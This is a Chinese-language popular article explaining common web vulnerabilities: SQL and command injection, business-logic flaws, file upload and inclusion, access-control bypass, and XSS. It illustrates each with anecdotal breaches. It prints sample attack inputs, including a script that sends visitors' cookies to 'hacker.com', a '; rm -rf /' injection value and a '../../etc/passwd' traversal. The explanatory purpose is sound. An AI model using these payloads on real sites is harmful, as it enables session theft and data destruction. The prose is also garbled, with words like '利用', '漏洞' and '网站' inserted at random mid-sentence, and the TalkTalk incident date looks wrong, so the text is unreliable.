2017年，利用一个19岁的网站英国小伙子只用了一个浏览器插件，就拿到了英国电信运营商TalkTalk超过15万用户的漏洞银行信息。他没写一行复杂的利用攻击代码，只是网站发现网站某个表单的输入框没有过滤特殊字符。这个漏洞叫SQL注入，漏洞听起来像黑客电影里的利用桥段，实际上不过是网站程序员少写了一句校验。

网站漏洞这东西，漏洞离普通人没那么远。利用你注册过的网站每一个论坛、买过东西的漏洞每一个电商页面、甚至公司内部那个丑得要命的利用OA系统，背后都可能藏着几个没关好的网站“窗户”。

注入类漏洞：把数据库当成许愿池

SQL注入是漏洞最经典的。原理简单到离谱——网站让你输入用户名，你输入的不是“张三”，而是一段数据库指令。如果网站直接把你的输入拼进查询语句里，数据库就会乖乖执行。2012年，国内某知名社交平台被曝出可通过构造特定URL参数直接读取用户表，包括手机号和加密密码。攻击者甚至不需要登录。

更隐蔽的是命令注入。有些网站调用系统命令处理文件，比如图片压缩、格式转换。输入框里塞一个; rm -rf /，服务器就可能真的开始删文件。2018年某在线PDF转换工具就栽在这上面，攻击者能读取服务器上任意文件。

逻辑漏洞：规则是死的，人是活的

这类漏洞没有固定形态，全靠对业务流程的理解。比如某电商的优惠券领取接口，正常流程是“点击领取→校验资格→发放到账户”。但有人发现，把请求里的用户ID改成别人的，就能替别人领券；再改成负数，券的数量会溢出变成最大值。2019年拼多多被薅走数千万优惠券，就是典型的逻辑漏洞——系统没校验“领了券之后能不能马上用另一个账号再领”。

还有更简单的：密码找回。某网站找回密码时，最后一步是提交短信验证码和新密码。验证码校验通过后，服务器返回一个“重置令牌”，然后页面跳转到设置新密码。有人抓包发现，那个令牌是固定值“123456”，或者干脆就是用户ID的MD5。改一下令牌，就能重置任意用户的密码。

文件上传与包含：后门自己送上门

很多网站允许上传头像、附件。如果只在前端用JavaScript检查文件后缀，攻击者抓包改一下，把.php文件传上去，再访问那个文件的URL，服务器就执行了。2016年某政府网站被挂马，起因就是后台的“导入Excel”功能没检查文件类型，攻击者上传了一个伪装成Excel的WebShell。

文件包含更直接。有些网站用?page=about.php这样的参数加载页面。把about.php改成../../etc/passwd，服务器就把系统密码文件吐出来了。如果还能包含远程URL，那攻击者就能让自己的服务器上的恶意代码在目标网站上执行。

越权访问：门没锁，但你不该进

水平越权：用户A能看用户B的订单。把订单ID从1001改成1002，页面直接显示别人的收货地址和电话。垂直越权：普通用户能访问管理员页面。有些网站只在菜单里隐藏了“管理后台”链接，但URL没做权限校验，直接输入/admin/就进去了。

我见过最离谱的一个案例：某医院预约挂号系统，修改URL里的patientId参数，就能看到其他患者的姓名、身份证号、诊断记录。没有任何加密，没有任何校验。开发人员大概觉得“没人会去改URL吧”。

XSS：你的浏览器在替别人打工

跨站脚本攻击不直接攻击服务器，而是攻击其他用户。你在一个论坛发帖，内容里包含<script>fetch('http://hacker.com/steal?cookie='+document.cookie)</script>。如果论坛没过滤，每个看到这个帖子的人，浏览器都会悄悄把他们的登录Cookie发到攻击者服务器。攻击者拿着Cookie就能冒充你登录。

存储型XSS危害最大，因为恶意代码存在数据库里，每个访问者都会中招。2014年微博的“长微博”功能就出过这个问题，点开某个链接就会自动发广告微博。

这些漏洞没有一个是“高精尖”的。它们之所以存在，往往是因为开发时赶进度、测试时只走正常流程、上线后没人做安全审计。一个输入框、一个URL参数、一个文件上传按钮——攻击面就藏在这些日常功能里。网站安全不是装个防火墙就完事，它需要写代码的人时刻想着：如果有人不按我设计的规则来，会发生什么？